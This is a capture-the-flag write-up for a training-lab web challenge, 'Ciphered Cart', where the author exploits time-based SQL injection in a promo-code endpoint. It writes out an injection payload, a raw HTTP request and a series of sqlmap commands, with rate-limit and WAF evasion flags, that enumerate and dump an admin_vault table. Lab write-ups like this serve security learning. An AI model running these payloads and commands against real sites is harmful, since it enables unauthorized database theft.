Ciphered Cart

NovaStore's promo-code endpoint leaks one bit per request. The storefront only tells you "applied" or "invalid" — nothing more. Pry the hidden admin-vault secret out one boolean at a time. Requests are rate-limited, so brute force will not save you.

Room Description

Ciphered Cart — figure 1

https://dashboard.webverselabs-pro.com/challenges/ciphered-cart

Scenario

NovaStore's ops team hardened almost every form on the site after last year's breach. Almost. A junior engineer "fixed" the promo-code validator by adding rate limiting — but forgot to prepare the statement. One bit of signal per request is all you need.

Objective

NovaStore's promo-code endpoint leaks one bit per request. The storefront only tells you "applied" or "invalid" — nothing more. Pry the hidden admin-vault secret out one boolean at a time. Requests are rate-limited, so brute force will not save you.

Initial Analysis

This web application seems quite small, just a list of products that are under different categories that we can add to our cart and then we have a promo code validator.

Ciphered Cart — figure 2
Ciphered Cart — figure 3

From the categories available in the header, one is missing, there should be a stationery category for the Nova Field notebook, but it's missing.

Ciphered Cart — figure 4

The categories are just a filter for the products, nothing more.

Ciphered Cart — figure 5

We can post a review for each of the products available.

Ciphered Cart — figure 6

Finding the bug

There doesn't seem to be much room to work with referring to potential bugs, we have product listings that also could be subject to SQL injections, but I think that it is quite obvious that the part we need to be looking at is the promo code validator after adding items to the cart.

Ciphered Cart — figure 7

Let's try WELCOME10 to see if it works.

Ciphered Cart — figure 8

The discount works, but we don't see it applied anywhere, hm, let's try an invalid one.

Ciphered Cart — figure 9

Now we know what the page would look like if it errors out. Let's try a boolean based payload.

' OR 1=1 -- -
Ciphered Cart — figure 10

Nada, but we can send the request over to sqlmap to check since I don't see what else this vulnerability could be, maybe a time-based injection?

POST /apply_promo.php HTTP/2
Host: 623663ab-3970-ciphered-cart-3e765.challenges.webverselabs-pro.com
Cookie: PHPSESSID=d47bdef848ce0f7ba91dffb4bcf72a06
Content-Length: 9
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: */*
Origin: https://623663ab-3970-ciphered-cart-3e765.challenges.webverselabs-pro.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://623663ab-3970-ciphered-cart-3e765.challenges.webverselabs-pro.com/cart.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

code=test

Save this as a file then:

sqlmap -r req --level 5 --risk 3
Ciphered Cart — figure 11
Ciphered Cart — figure 12
Ciphered Cart — figure 13

Exploitation

We know what database management system is being used now, so we can supply that, as well as the technique, because the challenge does mention rate limitation, as well as the WARNINGS that sqlmap is giving us, we will add a delay (just one second cause we need to extract characters after all, and we don't want to fall asleep) and put the sleep timer to 2 or 3 seconds so it doesn't cause issues. As well as, we should add --random-agent, because the WAF might be noticing irregular user-agents.

sqlmap -u "https://b38020b7-3970-ciphered-cart-12c22.challenges.webverselabs-pro.com/apply_promo.php"--data="code=test" -p code --dbms=mysql --technique=T --time-sec=2 --threads=1 --delay=1 --random-agent --batch --dbs
Ciphered Cart — figure 14

We managed to retrieve two of the databases, information_schema and chalapp, we are getting some corrupted information though, so it might be best to use --fresh-queries moving forward to bypass sqlmap's cache. We have our database, time to get table information.

sqlmap -u "https://b38020b7-3970-ciphered-cart-12c22.challenges.webverselabs-pro.com/apply_promo.php" --data="code=test" -p code --dbms=mysql --technique=T --time-sec=3 --threads=1 --delay=1 --fresh-queries --batch -D chalapp --tables --random-agent
Ciphered Cart — figure 15

Great! We have a table called admin_vault, surely that's the one we need since it is mentioned in the challenge description as well, I cancelled sqlmap since it is taking a while to extract character by character, gotta guess here. Let's extract the columns.

sqlmap -u "https://b38020b7-3970-ciphered-cart-12c22.challenges.webverselabs-pro.com/apply_promo.php"--data="code=test" -p code --dbms=mysql --technique=T --time-sec=3 --threads=1 --delay=1 --fresh-queries --batch --random-agent -D chalapp -T admin_vault --columns
Ciphered Cart — figure 16

Okay, we got the two columns, we could wait out to see the length of the secret_flag column values, but we already know the flag formatting, we also can add --hex as a switch to avoid corruption.

sqlmap -u "https://b38020b7-3970-ciphered-cart-12c22.challenges.webverselabs-pro.com/apply_promo.php" --data="code=test" -p code --dbms=mysql --technique=T --time-sec=3 --threads=1 --delay=1 --fresh-queries --batch --random-agent -D chalapp -T admin_vault -C secret_flag --hex --dump
Ciphered Cart — figure 17

Takes a while, but we get there :P